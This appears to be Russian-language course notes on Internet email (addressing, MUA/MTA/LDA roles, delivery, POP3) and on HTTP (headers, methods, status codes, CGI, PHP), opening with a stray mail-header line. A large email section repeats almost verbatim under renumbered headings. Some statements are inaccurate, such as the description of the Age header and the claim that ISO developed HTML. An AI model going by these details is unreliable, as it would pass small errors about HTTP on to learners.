X-UIDL: iML"!XFD!!b_""![^(!!

Proverka
Проверка 

5.2.8.2.4 Адреса электронной почты в Internet
Электронная почта в Internet использует маршрутно-независимую адресацию. Формат электронного адреса:

5.2.8.2.5 имя_пользователя@почтовый_домен


где имя_пользователя – идентификатор пользователя, уникальный в пределах одного почтового домена;
@ (коммерческое at) – символ-разделитель;
почтовый_домен – уникальный идентификатор почтовой системы. 

Имя пользователя может состоять из цифр, латинских букв и символов 

5.2.8.3 ! # $ % & " * + - / = ? ^ _ ` { | } ~

Оно может состоять из нескольких полей, разделенных точкой, которая интерпретируется как часть имени пользователя.

Имя почтового домена имеет тот же формат, какой используется в доменных именах Internet. Формат описан в RFC 1034 (Mockapetris P. Domain names - concepts and facilities. RFC 1034, November 1987).

Адрес может содержать комментарии в виде произвольных текстовых строк до и после значимой части. В этом случае значимую часть адреса заключают в угловые скобки.

5.2.8.3.1 комментарий < имя_пользователя@почтовый_домен > комментарий

Например: 

5.2.8.3.2 Леонид Свердлов <lonk@lonk.pp.ru> (каф. ОПДС)

Для маршрутизации электронной почты в Internet используется система DNS. Получив сообщение, предназначенное для отправки, почтовый сервер посылает запрос DNS с указанием имени почтового домена получателя. В ответ почтовый сервер получает список узлов, принимающих почту для данного домена. Список представляется в виде записей MX (Mail eXchange). Одному имени почтового домена могут соответствовать несколько записей МХ с различными приоритетами. Приоритеты обозначаются целыми числами, с их помощью определяется, в каком порядке почтовому серверу следует обращаться к узлам, принимающим почту для данного домена. Меньшему числу соответствует больший приоритет.

5.2.8.3.3 Структура электронной почты в Internet
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5.2.8.3.5 Структура электронной почты в Internet: 
· MUA (Mail User Agent) – пользовательский агент, или клиентская почтовая программа; 

· MTA (Mail Transfer Agent) – транспортный агент, или почтовый сервер; 

· LDA (Local Delivery Agent) – агент локальной доставки; 

· MSA (Message Submission Agent) – агент подачи сообщения. 

5.2.8.3.6 MUA
MUA предназначен для подготовки, отправки, получения и просмотра электронных писем.

MUA отправителя должен сформировать заголовок сообщения, закодировать и оформить тело в соответствии со стандартом.

MUA посылает сообщения по протоколу SMTP через MSA или MTA, используемый для отправки почты.

Входящие письма MUA забирает из хранилища сообщений. Для этой цели используется один из двух протоколов: 

· Post Office Protocol - Version 3 (POP3) – протокол почтового отделения, версия 3, описанный в RFC 1939 (Myers J., Rose M. Post Office Protocol - Version 3. RFC 1939, May 1996); 

· Internet Message Access Protocol (IMAP) – протокол доступа к сообщениям, описанный в RFC 3501 (Crispin M. INTERNET MESSAGE ACCESS PROTOCOL - VERSION 4rev1. RFC 3501, March 2003), обладающий более широкими возможностями манипулирования почтовыми ящиками, чем РОР3. 

Довольно большое распространение получили агенты пользователя, использующие интерфейс CGI для доступа оконечного пользователя к его почтовому ящику по протоколу НТТР или более безопасному HTTPS при помощи web-браузера. Такую реализацию MUA часто называют web-mail.
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5.2.8.3.8 Структура web-mail
5.2.8.3.9 MTA
MTA представляют собой узлы, через которые передаются электронные сообщения. Письмо достигает хранилище сообщений, содержащее почтовый ящик получателя, проходя через один или несколько MTA, последний из которых передает письмо агенту локальной доставки (LDA). Каждый МТА, через который проходит почтовое сообщение, добавляет к его заголовку информацию о том, когда и откуда пришло это сообщение.

Основные требования к МТА и к MUA описаны в RFC 1123 (Braden R., Ed. Requirements for Internet Hosts - Application and Support. RFC 1123, October 1989) и уточнены в RFC 2821 и в RFC 2822.
Одной из наиболее популярных программных реализаций МТА является программа sendmail, разработанная в начале восьмидесятых годов Эриком Оллмэном, студентом Калифорнийского университета в Беркли. Другие программные продукты, реализующие функции МТА для различных операционных систем: Postfix, smail, qmail, exim, ZMailer и многие другие

5.2.8.3.10 MSA
MSA это разновидность МТА, занимающийся в ряде случаев предварительной обработкой исходящей почты и необходимой корректировкой заголовка электронного письма. Задачи и особенности реализации MSA описаны в RFC 2476 (Gellens R., Klensin J. Message Submission. RFC 2476, December 1998).

5.2.8.3.11 LDA
LDA это программа, которая вызывается агентом передачи сообщения для обработки поступившей почты. В основном эта обработка заключается в помещении сообщений в почтовые ящики адресатов, то есть в добавлении сообщений к соответствующим файлам или в размещении их в специальных каталогах пользователей или в базах данных. Для взаимодействия МТА и LDA используются механизмы межпроцессного взаимодействия (IPC).

В некоторых случаях LDA может быть реализован как сервер, принимающий от МТА почту по протоколу LMTP (Local Mail Transfer Protocol), аналогичному SMTP. Этот протокол описан в RFC 2033 (Myers J. Local Mail Transfer Protocol. RFC 2033, October 1996).

5.2.8.3.12 Хранилище сообщений
Электронные сообщения помещаются в хранилище сообщений, откуда пользователь может их забрать в удобное для него время, соединившись с хранилищем сообщений по протоколу РОР3 или IMAP.

Элемент хранилища сообщений, содержащий электронные сообщения, называется почтовым ящиком.

5.2.8.3.13 Доставка почтового сообщения
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5.2.8.3.15 Процесс доставки электронного сообщения от отправителя к получателю
1. Сообщение, сформированное MUA отправителя, по протоколу SMTP посылается MSA. MSA проверяет, имеет ли данный MUA или пользователь право посылать почту из этой почтовой системы. В случае положительного результата, сообщение принимается для дальнейшей доставки. 

2. MSA проверяет заголовок сообщения и, при необходимости, исправляет его. Готовое к отправке сообщение по протоколу SMTP отправляется на МТА исходящей почты. 

3. МТА исходящей почты анализирует адрес получателя. Если сообщение предназначено для получателя домена, обслуживаемого данной почтовой системой, то оно доставляется получателю (см. пункты 6 – 10), в противном случае МТА запрашивает информацию о почтовом домене, указанном в адресе получателя, сервер DNS. Получив запрашиваемые данные, сервер DNS сообщает МТА, какие узлы принимают почту для данного домена, их адреса IP и приоритеты. 

4. МТА отправителя пытается установить соединение по протоколу с принимающими почту узлами в соответствии с приоритетами, указанными в записях МХ, полученных от сервера DNS. Если соединение ни с одним узлом не удается установить, сообщение помещается в очередь, и через некоторое время попытки установить соединение повторяются. Если соединение установлено, то принимающий МТА, удостоверившись, что сообщение предназначено для пользователя его домена, и что почтовый ящик с указанным адресом действительно существует, принимает сообщение. 

5. В принимающей почтовой системе сообщение может пройти через несколько промежуточных МТА, выполняющих различные виды обработки входящей почты: проверку на вирусы, фильтрацию спама, перенаправление к нужному хранилищу сообщений и пр. 

6. Последний МТА передает сообщение LDA для локальной доставки. 

7. LDA помещает сообщение в почтовый ящик адресата. 

8. Получатель обращается к серверу РОР3 или IMAP, чтобы проверить поступившую почту. 

9. Сервер забирает сообщение из почтового ящика. 

10. Сервер посылает сообщение пользовательскому агенту получателя. 

5.2.8.3.16 Адреса электронной почты в Internet
Электронная почта в Internet использует маршрутно-независимую адресацию. Формат электронного адреса:

5.2.8.3.17 имя_пользователя@почтовый_домен


где имя_пользователя – идентификатор пользователя, уникальный в пределах одного почтового домена;
@ (коммерческое at) – символ-разделитель;
почтовый_домен – уникальный идентификатор почтовой системы. 

Имя пользователя может состоять из цифр, латинских букв и символов 

5.2.8.4 ! # $ % & " * + - / = ? ^ _ ` { | } ~

Оно может состоять из нескольких полей, разделенных точкой, которая интерпретируется как часть имени пользователя.

Имя почтового домена имеет тот же формат, какой используется в доменных именах Internet. Формат описан в RFC 1034 (Mockapetris P. Domain names - concepts and facilities. RFC 1034, November 1987).

Адрес может содержать комментарии в виде произвольных текстовых строк до и после значимой части. В этом случае значимую часть адреса заключают в угловые скобки.

5.2.8.4.1 комментарий < имя_пользователя@почтовый_домен > комментарий

Например: 

5.2.8.4.2 Леонид Свердлов <lonk@lonk.pp.ru> (каф. ОПДС)

Для маршрутизации электронной почты в Internet используется система DNS. Получив сообщение, предназначенное для отправки, почтовый сервер посылает запрос DNS с указанием имени почтового домена получателя. В ответ почтовый сервер получает список узлов, принимающих почту для данного домена. Список представляется в виде записей MX (Mail eXchange). Одному имени почтового домена могут соответствовать несколько записей МХ с различными приоритетами. Приоритеты обозначаются целыми числами, с их помощью определяется, в каком порядке почтовому серверу следует обращаться к узлам, принимающим почту для данного домена. Меньшему числу соответствует больший приоритет.

5.2.8.4.3 Структура электронной почты в Internet
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5.2.8.4.5 Структура электронной почты в Internet: 
· MUA (Mail User Agent) – пользовательский агент, или клиентская почтовая программа; 

· MTA (Mail Transfer Agent) – транспортный агент, или почтовый сервер; 

· LDA (Local Delivery Agent) – агент локальной доставки; 

· MSA (Message Submission Agent) – агент подачи сообщения. 

5.2.8.4.6 MUA
MUA предназначен для подготовки, отправки, получения и просмотра электронных писем.

MUA отправителя должен сформировать заголовок сообщения, закодировать и оформить тело в соответствии со стандартом.

MUA посылает сообщения по протоколу SMTP через MSA или MTA, используемый для отправки почты.

Входящие письма MUA забирает из хранилища сообщений. Для этой цели используется один из двух протоколов: 

· Post Office Protocol - Version 3 (POP3) – протокол почтового отделения, версия 3, описанный в RFC 1939 (Myers J., Rose M. Post Office Protocol - Version 3. RFC 1939, May 1996); 

· Internet Message Access Protocol (IMAP) – протокол доступа к сообщениям, описанный в RFC 3501 (Crispin M. INTERNET MESSAGE ACCESS PROTOCOL - VERSION 4rev1. RFC 3501, March 2003), обладающий более широкими возможностями манипулирования почтовыми ящиками, чем РОР3. 

Довольно большое распространение получили агенты пользователя, использующие интерфейс CGI для доступа оконечного пользователя к его почтовому ящику по протоколу НТТР или более безопасному HTTPS при помощи web-браузера. Такую реализацию MUA часто называют web-mail.
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5.2.8.4.8 Структура web-mail
5.2.8.4.9 MTA
MTA представляют собой узлы, через которые передаются электронные сообщения. Письмо достигает хранилище сообщений, содержащее почтовый ящик получателя, проходя через один или несколько MTA, последний из которых передает письмо агенту локальной доставки (LDA). Каждый МТА, через который проходит почтовое сообщение, добавляет к его заголовку информацию о том, когда и откуда пришло это сообщение.

Основные требования к МТА и к MUA описаны в RFC 1123 (Braden R., Ed. Requirements for Internet Hosts - Application and Support. RFC 1123, October 1989) и уточнены в RFC 2821 и в RFC 2822.
Одной из наиболее популярных программных реализаций МТА является программа sendmail, разработанная в начале восьмидесятых годов Эриком Оллмэном, студентом Калифорнийского университета в Беркли. Другие программные продукты, реализующие функции МТА для различных операционных систем: Postfix, smail, qmail, exim, ZMailer и многие другие

5.2.8.4.10 MSA
MSA это разновидность МТА, занимающийся в ряде случаев предварительной обработкой исходящей почты и необходимой корректировкой заголовка электронного письма. Задачи и особенности реализации MSA описаны в RFC 2476 (Gellens R., Klensin J. Message Submission. RFC 2476, December 1998).

5.2.8.4.11 LDA
LDA это программа, которая вызывается агентом передачи сообщения для обработки поступившей почты. В основном эта обработка заключается в помещении сообщений в почтовые ящики адресатов, то есть в добавлении сообщений к соответствующим файлам или в размещении их в специальных каталогах пользователей или в базах данных. Для взаимодействия МТА и LDA используются механизмы межпроцессного взаимодействия (IPC).

В некоторых случаях LDA может быть реализован как сервер, принимающий от МТА почту по протоколу LMTP (Local Mail Transfer Protocol), аналогичному SMTP. Этот протокол описан в RFC 2033 (Myers J. Local Mail Transfer Protocol. RFC 2033, October 1996).

5.2.8.4.12 Хранилище сообщений
Электронные сообщения помещаются в хранилище сообщений, откуда пользователь может их забрать в удобное для него время, соединившись с хранилищем сообщений по протоколу РОР3 или IMAP.

Элемент хранилища сообщений, содержащий электронные сообщения, называется почтовым ящиком.

5.2.8.4.13 Доставка почтового сообщения
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5.2.8.4.15 Процесс доставки электронного сообщения от отправителя к получателю
1. Сообщение, сформированное MUA отправителя, по протоколу SMTP посылается MSA. MSA проверяет, имеет ли данный MUA или пользователь право посылать почту из этой почтовой системы. В случае положительного результата, сообщение принимается для дальнейшей доставки. 

2. MSA проверяет заголовок сообщения и, при необходимости, исправляет его. Готовое к отправке сообщение по протоколу SMTP отправляется на МТА исходящей почты. 

3. МТА исходящей почты анализирует адрес получателя. Если сообщение предназначено для получателя домена, обслуживаемого данной почтовой системой, то оно доставляется получателю (см. пункты 6 – 10), в противном случае МТА запрашивает информацию о почтовом домене, указанном в адресе получателя, сервер DNS. Получив запрашиваемые данные, сервер DNS сообщает МТА, какие узлы принимают почту для данного домена, их адреса IP и приоритеты. 

4. МТА отправителя пытается установить соединение по протоколу с принимающими почту узлами в соответствии с приоритетами, указанными в записях МХ, полученных от сервера DNS. Если соединение ни с одним узлом не удается установить, сообщение помещается в очередь, и через некоторое время попытки установить соединение повторяются. Если соединение установлено, то принимающий МТА, удостоверившись, что сообщение предназначено для пользователя его домена, и что почтовый ящик с указанным адресом действительно существует, принимает сообщение. 

5. В принимающей почтовой системе сообщение может пройти через несколько промежуточных МТА, выполняющих различные виды обработки входящей почты: проверку на вирусы, фильтрацию спама, перенаправление к нужному хранилищу сообщений и пр. 

6. Последний МТА передает сообщение LDA для локальной доставки. 

7. LDA помещает сообщение в почтовый ящик адресата. 

8. Получатель обращается к серверу РОР3 или IMAP, чтобы проверить поступившую почту. 

9. Сервер забирает сообщение из почтового ящика. 

10. Сервер посылает сообщение пользовательскому агенту получателя.

Протокол РОР (Post Office Protocol) был разработан в 1984 году, в 1985 году появилась вторая его версия, в 1988 году – третья, которая с существенными модификациями, сделанными в 1991, 1993, 1994 и 1996 годах, используется в настоящее время. Последняя модификация протокола РОР3 описана в RFC 1939 (Myers J., Rose M. Post Office Protocol - Version 3. RFC 1939, May 1996).
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5.2.8.4.17 Модель протокола РОР
Протокол почтового отделения, версия 3 (POP3) предназначен для получения сообщений, находящихся в почтовом ящике пользователя на удаленном сервере электронной почты.

В качестве клиента РОР3 выступает MUA пользователя, а сервер должен иметь доступ к хранилищу сообщений. Информация по протоколу РОР3 передается от сервера к клиенту.

Порт по умолчанию – 110.

Пользователь может получить доступ к РОР-серверу из любой точки доступа к Интернет.

Процесс получения почты по протоколу РОР3 состоит из трех этапов (состояний): 

· авторизация; 

· транзакция; 

· обновление (завершение транзакции). 
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5.2.8.4.19 Состояния сеанса РОР3
В ходе сеанса клиент посылает серверу команды, а сервер сообщает о результате выполнения каждой из них.

Ответ сервера может иметь два значения: 

· +OK - успешное завершение; 

· –ERR - неуспешное завершение. 

5.2.8.5 Служба WWW. Протокол HTTP
5.2.8.5.1 Историческая справка

В 1989 г. Тим Бернерс-Ли предложил глобальную гипертекстовую систему, позволившую сначала соединять связями текст, а в дальнейшем - графику, звуки, видео. Глобальность этой системы предполагала, что данные будут распределяться по всему миру, а ее основой станет Интернет. Эта система получила название World Wide Web (WWW или W3). Впервые была задействована в декабре 1990 г. и дорабатывалась вплоть до 1993 г. За это время был предложен гипертекстовый протокол передачи данных (HTTP), Международной организацией стандартов ISO был разработан и установлен стандарт HTML, была создана универсальная система адресов (URL) для адресации документов в WWW. Появился первый браузер.

Решающее значение для всемирного распространения WWW имело то, что все эти стандарты были сделаны общедоступными. К началу 2000 г. был разработан стандарт HTML 4.01 (http://www.w3.org/TR/REC-html40/).

Гипертекстовая среда WWW и средства мультимедиа вместе образуют систему гипермедиа.

5.2.8.5.2 Служба WWW

World Wide Web или просто Web – это сеть информационных ресурсов.

Служба WWW – представляет собой множество независимых, но взаимосвязанных серверов и предназначена для обмена текстовой, графической, аудио и видео информацией. Работая с Web, пользователь последовательно соединяется с Web-серверами и получает информацию.

WWW построена по схеме "клиент-сервер".

В качестве клиента выступает браузер, который является также и интерпретатором HTML. Как интерпретатор, браузер в зависимости от команд (тегов) выполняет различные функции: размещение текста на экране, обмен информацией с сервером по мере анализа полученного HTML-текста и др.

Сервер HTTP обрабатывает запросы клиента на получение файлов, выполнение программ и др.
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5.2.8.5.4 Взаимодействие клиента и сервера по протоколу HTTP
Для работы с ресурсами Web используется следующие механизмы: 

· HTML (HyperText Markup Language) – язык гипертекстовой разметки документов; 

· URL (Universal Resource Locator) – унифицированный указатель ресурсов – способ адресации ресурсов в сети. Каждый ресурс имеет уникальный для Web адрес, называемый унифицированным (универсальным) идентификатором ресурса (URI – Universal Resource Identifier); 

· HTTP (HyperText Transfer Protocol) – протокол обмена гипертекстовой информацией; 

· CGI (Common Gateway Interface) – универсальный интерфейс шлюзов. Создан для взаимодействия HTTP-сервера с другими программами, установленными на сервере (например, СУБД). 

Примеры стандартов:

RFC 1866 "Hypertext Markup Language – HTML 2.0";
REC-html4-971218 "Hypertext Markup Language – HTML 4.0";
RFC 1945 "Hypertext Transfer Protocol – HTTP/1.0";
RFC2616 "Hypertext Transfer Protocol – HTTP/1.1";
ISO 8879 "Standard Generalized Markup Language – SGML".

5.2.8.5.5 Протокол HTTP

Hypertext Transfer Protocol – протокол передачи гипертекста. Используется службой WWW для передачи Web-страниц.

Первый документ – RFC 1945 (Hypertext Transfer Protocol - HTTP/1.0 T. Berners-Lee, R. Fielding, H. Frystyk May 1996).

Последняя версия – RFC 2616 (Hypertext Transfer Protocol - HTTP/1.1 R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, T. Berners-Lee June 1999).

Tранспортным протоколом для HTTP является протокол TCP, причем сервер HTTP (сервер Web) находится в состоянии ожидания соединения со стороны клиента стандартно по порту 80 TCP, а клиент HTTP (браузер Web) является инициатором соединения.

В самом общем случае URL выглядит следующим образом:

5.2.8.5.6 protocol://user:password@host:port/path/file?paremeters#fragment

Отдельные поля URL имеют следующий смысл:

	protocol - 
	прикладной протокол, посредством которого получают доступ к ресурсу;


	user - 
	пользователь, от имени которого получают доступ к ресурсу;

	password - 
	пароль пользователя для аутентификации при доступе к ресурсу;

	host - 
	IP-адрес или имя сервера, на котором расположен ресурс;

	port - 
	номер порта, на котором работает сервер, предоставляющий доступ к ресурсу;

	path - 
	путь к файлу, содержащему ресурс;

	file - 
	файл, содержащий ресурс;

	paremeters - 
	параметры для обработки ресурсом-программой;

	fragment - 
	точка в файле, начиная с которой следует отображать ресурс.


Взаимодействие между клиентом и сервером Web осуществляется путем обмена сообщениями. Сообщения HTTP делятся на запросы клиента серверу и ответы сервера клиенту.

Запросы и ответы выглядят следующим образом:

начальная строка
заголовок 1
заголовок 2
...
заголовок N
CR LF (пустая строка)
тело сообщения (может отсутствовать)

Формат начальной строки (start-line) клиента и сервера различаются. Заголовки бывают четырех видов: 

· общие заголовки (general-headers), которые могут присутствовать как в запросе, так и в ответе; 

· заголовки запросов (request-headers), которые могут присутствовать только в запросе; 

· заголовки ответов (response-headers), которые могут присутствовать только в ответе; 

· заголовки объекта (entity-headers), которые относятся к телу сообщения и описывают его содержимое. 

Каждый заголовок состоит из названия, символа двоеточия ":" и значения. Наиболее важные заголовки приведены в таблце:

	Заголовок
	Назначение

	Заголовки объекта

	Allow
	Перечисляет поддерживаемые сервером методы

	Content-Encoding
	Способ, которым закодировано тело сообщения, например, с целью уменьшения размера

	Content-Length
	Длина сообщения в байтах

	Content-Type
	Тип содержимого и, возможно, некоторые параметры

	ETag
	Уникальный тэг ресурса на сервере, позволяющий сравнивать ресурсы

	Expires
	Дата и время, когда ресурс на сервере будет изменен, и его нужно получать заново

	Last-Modified
	Дата и время последней модификации содержимого

	Заголовки ответа

	Age
	Число секунд, через которое нужно повторить запрос для получения нового содержимого

	Location
	URI ресурса, к которому нужно обратиться для получения содержимого

	Retry-After
	Дата и время или число секунд, через которое нужно повторить запрос, чтобы получить успешный ответ

	Server
	Название программного обеспечения сервера, приславшего ответ

	Заголовки запроса

	Accept
	Типы содержимого, которое "понимает" клиент и может воспроизвести

	Accept-Charset
	Кодировки символов, в которых клиент может принимать текстовое содержимое

	Accept-Encoding
	Способ, которым сервер может закодировать сообщение

	Host
	Хост и номер порта, с которого запрашивается документ

	If-Modified-Since
If-Match
If-None-Match
If-Range
If-Unmodified-Since
	Заголовки запроса для условного обращения к ресурсу

	Range
	Запрос части документа

	User-Agent
	Название программного обеспечения клиента


	Общие заголовки

	Connection
	Указывает серверу на завершение (close) или продолжение (keep-alive) сеанса

	Date
	Дата и время формирования сообщения

	Pragma
	Специальные, зависящие от реализации команды, касающиеся передаваемого содержимого

	Transfer-Encoding
	Способ кодирования сообщения при передаче


В теле сообщения содержится собственно передаваемая информация. Тело сообщения представляет собой последовательность октетов (байтов). Тело сообщения может быть закодировано, например, для уменьшения объема передаваемой информации, при этом способ кодирования указывается в заголовке объекта Content-Encoding.

Запрос от клиента к серверу состоит из строки запроса (request-line), заголовков (общих, запросов, объекта) и, возможно, тела сообщения.

Строка запроса:

5.2.8.5.7 <Команда HTTP> <Идентификатор запрашиваемого ресурса> <Версия HTTP>

5.2.8.5.8 Основные команды протокола HTTP

OPTIONS
Запрос информации об опциях соединения (например, методах, типах документов, кодировках), которые поддерживает сервер для запрашиваемого ресурса.
Если идентификатор запрашиваемого ресурса – звездочка ("*"), то запрос предназначен для обращения к серверу в целом.

GET
Позволяет получить информацию, связанную с запрашиваемым ресурсом. Если идентификатор запрашиваемого ресурса указывает на документ, то сервер возвращает содержимое этого документа (содержимое файла). Если запрашиваемый ресурс является приложением (программой), формирующим в процессе своей работы некоторые данные, то в теле сообщения ответа возвращаются эти данные. Если идентификатор запрашиваемого ресурса указывает на директорию (каталог, папку), то, в зависимости от настроек сервера, может быть возвращено либо содержимое директории (список файлов), либо содержимое одного из файлов, находящегося в этой директории (как правило, index.html). В случае запроса папки ее имя может указываться как с символом "/" на конце, так и без него. При отсутствии на конце идентификатора ресурса данного символа сервер выдает один из ответов с перенаправлением (с кодами статуса 301 или 302).
Разновидностями команды GET является "условный GET" ("conditional GET") и "частичный GET" ("partial GET"). Условный GET запрашивает передачу объекта, только если он удовлетворяет условиям, описанным в приведенных заголовках. Частичный GET запрашивает передачу только части объекта.

HEAD
Идентична команде GET, за исключением того, что сервер не возвращает в ответе тело сообщения.

POST
Используется для запроса, при котором адресуемый сервер принимает данные, включенные в тело сообщения (объект) запроса, и отправляет их на обработку приложению, указанному как запрашиваемый ресурс.

PUT
Тело сообщения, которое передается в запросе, сохраняется на сервере, причем идентификатор запрашиваемого ресурса будет идентификатором сохраненного документа.

DELETE
Запрос на удаление ресурса, имеющего запрашиваемый идентификатор.

TRACE
Используется для тестирования или диагностики. Получатель запроса (сервер Web) отправляет полученное сообщение обратно клиенту как тело сообщения ответа.

После получения и интерпретации сообщения запроса, сервер отвечает сообщением HTTP ответа.

Ответ сервера клиенту
Первая строка ответа – это строка состояния (Status-Line):

5.2.8.5.9 <Версия HTTP> <Код состояния> <Поясняющая фраза>

Код состояния (Status-Code) – это целочисленный трехразрядный код результата понимания и удовлетворения запроса. Поясняющая фраза (Reason-Phrase) – короткое текстовое описание кода состояния. Код состояния предназначен для обработки программным обеспечением, а поясняющая фраза предназначена для пользователей.

Первая цифра кода состояния определяет класс ответа. Последние две цифры не имеют определенной роли в классификации. Имеется 5 значений первой цифры:
1xx: Информационные коды – запрос получен, продолжается обработка.
2xx: Успешные коды – действие было успешно получено, понято и обработано.
3xx: Коды перенаправления – для выполнения запроса должны быть предприняты дальнейшие действия.
4xx: Коды ошибок клиента – запрос имеет ошибку синтаксиса или не может быть выполнен.
5xx: Коды ошибок сервера – сервер не в состоянии выполнить допустимый запрос.

5.2.8.5.10 Коды ответов сервера HTTP и поясняющие фразы
	Код
	Поясняющая фраза согласно
RFC 2616
	Эквивалентная поясняющая фраза на русском языке

	1xx: Информационные коды

	100
	Continue
	Продолжать

	2xx: Успешные коды

	200
	OK
	OK

	201
	Created
	Создан

	204
	No Content
	Нет содержимого

	205
	Reset Content
	Сбросить содержимое

	206
	Partial Content
	Частичное содержимое

	3xx: Коды перенаправления

	302
	Moved Temporarily
	Временно перемещен

	304
	Not Modified
	Не модифицирован

	4xx: Коды ошибок клиента

	400
	Bad Request
	Испорченный запрос

	401
	Unauthorized
	Несанкционированно

	404
	Not Found
	Не найден

	405
	Method Not Allowed
	Метод не дозволен

	408
	Request Timeout
	Истекло время ожидания запроса

	409
	Conflict
	Конфликт

	411
	Length Required
	Требуется длина

	413
	Request Entity Too Large
	Объект запроса слишком большой

	5xx: Коды ошибок сервера

	500
	Internal Server Error
	Внутренняя ошибка сервера

	501
	Not Implemented
	Не реализовано

	503
	Service Unavailable
	Сервис недоступен

	505
	HTTP Version Not Supported
	Не поддерживаемая версия HTTP


За строкой состояния следуют заголовки (общие, ответа и объекта) и, возможно, тело сообщения.

Одной из важнейших функций сервера Web является предоставление доступа к части локальной файловой системы. Для этого в настройках сервера указывается некоторая директория, которая является корневой для данного сервера Web. Чтобы опубликовать документ, то есть сделать его доступным пользователям, "посещающим" данный сервер (осуществляющим с ним соединение по протоколу HTTP), нужно скопировать этот документ в корневую директорию Web-сервера или в одну из ее поддиректорий. При соединении по протоколу HTTP на сервере создается процесс с правами пользователя, как правило, не существующего реально, а специально созданного для просмотра ресурсов сервера. Настраивая права и разрешения данного пользователя, можно управлять доступом к ресурсам Web.

5.2.8.5.11 Справочная информация
5.2.8.5.12 Языки разметки гипертекста
Язык HTML (HyperText Markup Language - язык разметки гипертекста) является основным средством представления информации в виде гипертекста в Web. Подробное описание языка найти в стандарте REC-html40.
Средством разработки и описания языков разметки, подобных HTML, является язык SGML (Standard Generalized Markup Language – обобщенный язык разметки). Подробную информацию о конструкциях языка SGML можно найти в ISO 8879.
5.2.8.5.13 Поддержка сценариев. Язык JavaScript
Одним из основных недостатков языка HTML является пассивность и статичность документов на этом языке, то есть невозможность алгоритмического построения содержимого документа в соответствии с программой, реализующей алгоритм, или в зависимости от действий пользователя, просматривающего документ. Для преодоления этих недостатков в язык HTML введена поддержка сценариев – программ, загружаемых с сервера вместе с документом HTML и выполняемых навигатором при просмотре этого документа. Существует несколько языков, на которых может быть написан сценарий. Наибольшей популярностью пользуется язык JavaScript компании Netscape, первой реализовавшей поддержку сценариев в своем браузере.

С точки зрения лексики и синтаксиса, язык JavaScript похож на языки C++ и Java.

5.2.8.5.14 Технология Dynamic HTML
Для создания интерактивных документов в язык HTML были введены события. С точки зрения пользователя, события – это действия, совершаемые над активными элементами документа HTML при помощи устройств ввода. С точки зрения языка HTML, события – это специальные атрибуты элементов, в которых указываются действия, выполняемые при попытке пользователя воздействовать на данный элемент. Такая технология получила название Dynamic HTML. В качестве действия, выполняемого в случае наступления события, можно указывать программы (последовательности операторов) JavaScript.

5.2.8.5.15 Общий интерфейс шлюзов CGI
Серверы Web обеспечивают просмотр пользователем документов и переход с одного документа на другой. Часто такого взаимодействия пользователя с сервером Web бывает недостаточно. Во многих случаях пользователь должен получать для просмотра не статические документы, хранящиеся на сервере Web, а динамические, содержимое которых изменяется в соответствии с работающей на сервере Web программой.

Для реализации подобной возможности необходимо выполнение, по крайней мере, двух условий. Во-первых, сервер Web должен уметь инициировать запуск на выполнение программ в соответствии с запросом пользователя. Во-вторых, необходима возможность передачи данных от пользователя удаленной программе, а также результатов работы программы – пользовательскому агенту. Для выполнения этих условий необходим программный интерфейс между сервером Web и запускаемым приложением. При создании Web был разработан такой интерфейс, получивший название общего интерфейса шлюзов – Common Gateway Interface (CGI).

Программа CGI запускается на сервере Web и работает в его локальной операционной системе. Взаимодействие пользовательского агента с удаленной программой осуществляется по следующей общей схеме.
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5.2.8.5.17 Технология PHP
Технология CGI позволяет создавать серверные приложения любой сложности. Однако данная технология обладает рядом недостатков.

1. При получении данных от клиента приложению приходится производить сложный разбор строки параметров запроса 

2. Так как содержимое документа HTML формируется приложением CGI, то при изменении дизайна приходится осуществлять перекомпиляцию приложения. 

3. Приложения CGI, использующие интерфейс прикладных программ (API) локальной операционной системы сервера, плохо переносимы. 

Одним из вариантов решения приведенных проблем является использование технологии PHP (Hypertext Preprocessor) для динамического формирования документов HTML. Основными сферами применения данной технологии являются создание серверных приложений и интерфейсов к базам данных.

Приложения PHP встраиваются в документы HTML в качестве сценариев, подобно сценариям JavaScript, однако, в отличие от JavaScript, сценарии PHP выполняются не пользовательским агентом, а специальной программой – проигрывателем сценариев PHP, которая является приложением CGI и запускается сервером. Пользовательский агент получает результат выполнения запрошенного им сценария и не видит кода самого сценария.

Синтаксис языка сценариев PHP похож на синтаксис языков программирования C, C++, Java.

5.2.8.5.18 Взаимодействие различных компонентов при запросе клиентом сценариев PHP
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5.2.8.5.20 Публикация баз данных в Internet

Публикация баз данных в Internet является одной из наиболее популярных и быстро развивающихся отраслей Web. Под публикацией БД в Internet понимают создание программного обеспечения, позволяющего частично или полностью осуществлять работу с удаленной БД при помощи клиента Web. Как правило, при публикации предоставляется возможность просмотра содержимого БД, однако в общем случае подразумевается также возможность модификации и администрирования БД.

С точки зрения создания программного обеспечения БД, публикацию БД можно рассматривать с двух сторон: 

1. Создание программного обеспечения БД, формирующего отчеты в виде документов HTML. 

2. Создание Web-интерфейса к БД. 

Существует два основных подхода к публикации БД в Internet. Первый подход подразумевает формирование статических документов HTML из содержимого БД с последующим доступом к сформированным документам при помощи сервера Web. При модификации содержимого БД осуществляется обновление документов HTML.

Второй подход состоит в динамической генерации документов HTML в соответствии с запросами пользователя Web. При запросе пользователя к БД сервер Web запускает программу, которая передает запрос БД, получает ответ, формирует в соответствии с полученным ответом документ HTML и отправляет его клиенту Web.

Взаимодействие между программой, работающей с БД, и СУБД осуществляется посредством запросов на каком-либо языке запросов. Стандартным языком запросов является язык SQL

Список наиболее распространенных в настоящее время СУБД (серверов БД):
BDE;
ODBC;
InterBase Server;
Microsoft SQL Server;
MySQL;
mSQL;
PostgreSQL;
SyBase;
Informix;
Oracle.

ГВМ – главная вычислительная машина

ИВС – информационно-вычислительная сеть

КК – коммутация каналов

КП – коммутация пакетов

КС – коммутация сообщений

ЛВС – локальная вычислительная сеть

МОС – Международная организация по стандартизации

МСЭ-Т – Международный союз электросвязи - сектор по стандартам коммуникационных сетей (до 1993 г. МККТТ — Международный консультативный комитет по телеграфии и телефонии)

ПД – передача данных

ТЛФ – телефонные каналы

ТЛФОП (ТФОП) – телефонная сеть общего пользования

ТМ – терминальный модуль

Хост-ЭВМ –система, предоставляющая пользователю свои информационные и вычислительные ресурсы

ЦКП – центр коммутации пакетов

ЭМВОС – эталонная модель взаимодействия открытых систем

ЭП – электронная почта

  

ARP – Address Resolution Protocol (протокол преобразования адресов)

ASCII – American Standard Code for Information Interchange (Американский стандартный код для информационного обмена)

ATM – Asynchronous Transfer Mode (режим асинхронной передачи)

